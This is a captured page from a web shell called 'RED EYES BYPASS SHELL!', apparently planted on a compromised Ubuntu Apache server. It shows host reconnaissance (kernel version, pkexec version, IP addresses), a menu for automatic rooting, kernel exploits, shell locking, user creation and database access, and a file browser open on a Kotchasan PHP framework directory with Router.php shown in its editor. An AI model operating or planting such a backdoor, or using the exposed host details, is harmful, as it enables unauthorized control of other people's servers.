Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Router.php
<?php /** * @filesource Kotchasan/Router.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; /** * Router class * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class Router extends \Kotchasan\KBase { /** * กฏของ Router สำหรับการแยกหน้าเว็บไซต์ * * @var array */ protected $rules = array( // index.php/module/model/folder/_dir/_method '/^[a-z0-9]+\.php\/([a-z]+)\/(model)(\/([\/a-z0-9_]+)\/([a-z0-9_]+))?$/i' => array('module', '_mvc', '', '_dir', '_method'), // index/model/_dir '/([a-z]+)\/(model|controller|view)\/([a-z0-9_]+)/i' => array('module', '_mvc', '_dir'), // module/alias '/^([a-z]+)\/(.*)$/' => array('module', 'alias'), // module, module.php '/^([a-z0-9_]+)(\.php)?$/' => array('module'), // alias '/^(.*)$/' => array('alias') ); /** * Initial Router * * @param string $className คลาสที่จะรับค่าจาก Router * * @throws \InvalidArgumentException หากไม่พบคลาสเป้าหมาย * * @return \static */ public function init($className) { // ตรวจสอบโมดูล $modules = $this->parseRoutes(self::$request->getUri()->getPath(), self::$request->getQueryParams()); if (isset($modules['module']) && isset($modules['_mvc']) && isset($modules['_dir'])) { // คลาสจาก URL $className = str_replace(' ', '\\', ucwords($modules['module'].' '.str_replace(array('\\', '/'), ' ', $modules['_dir']).' '.$modules['_mvc'])); $method = empty($modules['_method']) ? 'index' : $modules['_method']; } elseif (isset($modules['_class']) && isset($modules['_method'])) { // ระบุ Class และ Method มาตรงๆ // ต้องเขียนกฏของ Router เองให้รัดกุม $className = str_replace('/', '\\', $modules['_class']); $method = $modules['_method']; } else { // ไม่ระบุเมธอดมา เรียกเมธอด index $method = empty($modules['_method']) ? 'index' : $modules['_method']; } if (!class_exists($className)) { throw new \InvalidArgumentException('Class '.$className.' not found'); } elseif (method_exists($className, $method)) { // สร้างคลาส $obj = new $className(); // เรียกเมธอด $obj->$method(self::$request->withQueryParams($modules)); } else { throw new \InvalidArgumentException('Method '.$method.' not found in '.$className); } return $this; } /** * แยก path คืนค่าเป็น query string * * @assert ('/print.php/css/view/index', array()) [==] array( '_mvc' => 'view', '_dir' => 'index', 'module' => 'css') * @assert ('/index/model/updateprofile.php', array()) [==] array( '_mvc' => 'model', '_dir' => 'updateprofile', 'module' => 'index') * @assert ('/index.php/alias/model/admin/settings/save', array()) [==] array('module' => 'alias', '_mvc' => 'model', '_dir' => 'admin/settings', '_method' => 'save') * @assert ('/css/view/index.php', array()) [==] array('module' => 'css', '_mvc' => 'view', '_dir' => 'index') * @assert ('/module/ทดสอบ.html', array()) [==] array('alias' => 'ทดสอบ', 'module' => 'module') * @assert ('/module.html', array()) [==] array('module' => 'module') * @assert ('/ทดสอบ.html', array()) [==] array('alias' => 'ทดสอบ') * @assert ('/ทดสอบ.html', array('module' => 'test')) [==] array('alias' => 'ทดสอบ', 'module' => 'test') * @assert ('/index.php', array('_action' => 'one')) [==] array('_action' => 'one') * @assert ('/admin_index.php', array('_action' => 'one')) [==] array('_action' => 'one', 'module' => 'admin_index') * * @param string path เช่น /a/b/c.html * @param array $modules query string * * @return array */ public function parseRoutes($path, $modules) { $base_path = preg_quote(BASE_PATH, '/'); // แยกเอาฉพาะ path ที่ส่งมา ไม่รวม path ของ application และ นามสกุล if (preg_match('/^'.$base_path.'(.*)(\.html?|\/)$/u', $path, $match)) { $my_path = $match[1]; } elseif (preg_match('/^'.$base_path.'(.*)$/u', $path, $match)) { $my_path = $match[1]; } if (!empty($my_path) && !preg_match('/^[a-z0-9]+\.php$/i', $my_path)) { $my_path = rawurldecode($my_path); foreach ($this->rules as $patt => $items) { if (preg_match($patt, $my_path, $match)) { foreach ($items as $i => $key) { if (!empty($key) && isset($match[$i + 1]) && !isset($modules[$key])) { $modules[$key] = $match[$i + 1]; } } break; } } } return $modules; } }
Close